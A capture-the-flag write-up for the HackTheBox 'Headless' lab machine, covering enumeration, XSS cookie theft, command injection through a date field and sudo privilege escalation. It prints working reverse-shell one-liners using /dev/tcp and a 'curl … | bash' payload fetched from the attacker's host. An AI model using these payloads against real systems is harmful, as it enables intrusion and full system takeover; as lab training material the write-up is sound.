HackTheBox: Headless

SPOILER WARNING: This page will contain potential spoilers, so consider that before continuing Headless is a super easy machine that introduces the user to basic XSS with cookies and some simple privilege escalation techniques that can be easily expanded upon and applied to other boxes. MACHINE INFO ┌──────────────────────────┐ │ MACHINE NAME: Headless │ │ IP: 10.10.11.8 │ │ DIFFICULTY: Easy │ └──────────────────────────┘ An initial nmap of the machine already starts to give us interesting information about the machine. There is an http server running on port 5000 which sets a cookie to identify the user as an admin or not, since the cookie seems to be a long randomised string, we probably can't just bruteforce it, but it's likely something to be exploited. $ nmap -sC -sV 10.10.11.8 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 5000/tcp open upnp? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/2.2.2 Python/3.11.2 | Date: Thu, 06 Jun 2024 02:03:33 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 2799 | Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/ | Connection: close Now, we can quickly see if there are any other pages, like perhaps an admin dashboard, using a tool like gobuster. $ gobuster dir -u 10.10.11.8:5000 -w common.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.8:5000/ [+] Method: GET [+] Threads: 10 [+] Wordlist: common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /dashboard (Status: 500) [Size: 265] /support (Status: 200) [Size: 2363] Progress: 4727 / 4727 (100.00%) =============================================================== Finished =============================================================== And, there is, however it returns an http 500. Accessed through a browser, it shows the message: Unauthorized The server could not verify that you are authorized to access the URL requested. You either supplied the wrong credentials (e.g. a bad password), or your browser doesn't understand how to supply the credentials required. Further fuzzing through gobuster finds no other subdomains or directories, and the support page doesn't seem to do anything. Interestingly, if we take the cookie we already have and run it through CyberChef to undo a Base64 Encoding we can see that the first bit of the string decodes to "user", and the rest is gibberish. From Base64 Input: InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs Output: "user"¸ f^Tï›ËòŠÍhð֞ðY~ The site is based on Python, but it's using Werkzeug rather than flask, which means we can't use flask-unsign to craft a cookie. Instead, we can try some XSS with burpsuite. I used the one liner I found in this article, filled all my http fields with it, and got a hit. $ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.8 - - [05/Jun/2024 20:31:40] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZ y5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 - We'll decode that cookie and pass it back to burpsuite as a cookie. $ echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 Now, we get a page that offers to generate a website status. Administrator Dashboard Generate a website health report: Select Date: 09/15/2023 Generate Report I suspect potential code execution through the date attribute, given the nature of the other vulnerability, so I try a basic reverse shell one liner, and alas, nothing. date=2023-09-15;/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.16.12/8000 0>&1' But, I try again, this time hosting the payload as a file, using python like we did previously, and I get a hit. ... Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 date=2023-09-15;curl http://10.10.16.12:8001/shell.sh|bash $ python3 -m http.server 8001 Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ... 10.10.11.8 - - [05/Jun/2024 21:27:13] "GET /shell.sh HTTP/1.1" 200 - $ nc -nvlp 1111 Connection from 10.10.11.8:52230 bash-5.2$ From here, we can quickly grab the user flag. $ cd .. $ cat user.txt Now, we'll list the privileges for our current user using sudo. sudo -l allows us to list the programs our current user is able to run as a privileged user. And, surprisingly, we actually get a hit here too. $ whoami dvir $ sudo -l Matching Defaults entries for dvir on headless: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User dvir may run the following commands on headless: (ALL) NOPASSWD: /usr/bin/syscheck The current user can invoke /usr/bin/syscheck, and we can see what that does with a quick cat. $ cat /usr/bin/syscheck #!/bin/bash if [ "$EUID" -ne 0 ]; then exit 1 fi last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1) formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M") /usr/bin/echo "Last Kernel Modification Time: $formatted_time" disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}') /usr/bin/echo "Available disk space: $disk_space" load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}') /usr/bin/echo "System load average: $load_average" if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi exit 0 The program is a bash script that calls a bunch of other system utilities as well as one other script, which we happen to be able to edit. Funnily, when I read the file out, I found someone else's reverse shell, which is a pretty good sign that we're on the right track. $ echo "/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.16.12/1112 0>&1'" > initdb.sh $ sudo syscheck Last Kernel Modification Time: 01/02/2024 10:05 Available disk space: 2.0G System load average: 0.04, 0.08, 0.04 Database service is not running. Starting it... $ nc -nvlp 1112 Connection from 10.10.11.8:35322 root@headless:/home/dvir# cd root@headless:~# cat root.txt